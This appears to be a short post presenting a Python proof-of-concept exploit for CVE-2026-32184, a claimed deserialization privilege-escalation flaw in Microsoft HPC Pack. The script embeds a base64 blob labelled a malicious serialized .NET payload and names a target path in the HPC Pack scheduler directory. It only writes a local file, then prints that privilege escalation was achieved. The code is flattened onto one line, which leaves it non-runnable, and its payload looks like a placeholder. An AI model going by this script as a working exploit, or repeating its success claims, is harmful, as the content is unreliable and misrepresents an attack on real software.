CVE-2026-32184 Microsoft HPC Pack反序列化漏洞

import subprocess # Proof of Concept for CVE-2026-32184 # This script demonstrates the concept of deserialization vulnerability in Microsoft HPC Pack. # Note: Actual exploitation requires specific gadget chains and valid serialized payloads. def generate_malicious_payload(): # In a real scenario, this would be a serialized .NET object (e.g., using ObjectDataProvider) # Placeholder for the malicious serialized data structure payload = "AAEAAAD/////AQAAAAAAAAAMAgAAAE1NaWNyb3NvZnQuU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQUBAAAAH01pY3Jvc29mdC5TeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyBAAAAAhjaGFyc2V0BmNhcGFjaXR5B21heENhcGFjaXR5Bm1heFNpemUIc2l6ZQZpc0V4cGFuZGFibGUBX3N0cmluZ0FycmF5B3N0cmluZ1ZhbHVlAAECAgAAAQAAAAAAAAAB///+AQAAAAQAAAAQAAAACQAAAAAAAAAAAAA=" return payload def exploit(): print("[*] Generating malicious payload for CVE-2026-32184...") payload = generate_malicious_payload() # The attacker would need to write this payload to a location processed by HPC Pack target_file = "C:\\Program Files\\Microsoft HPC Pack 2016\\Data\\Scheduler\\MaliciousData.bin" print(f"[*] Attempting to write payload to target: {target_file}") try: # Simulating the payload injection with open("malicious_payload.bin", "wb") as f: f.write(payload.encode()) print("[+] Payload generated successfully.") print("[*] Low privilege user triggers the service to deserialize the data...") print("[+] Privilege escalation achieved (Conceptual).") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()